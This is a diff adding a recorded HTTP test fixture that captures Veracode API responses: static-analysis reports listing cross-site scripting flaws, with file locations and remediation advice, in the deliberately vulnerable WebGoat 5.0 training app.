+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:31 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:09:33 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:09:33 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
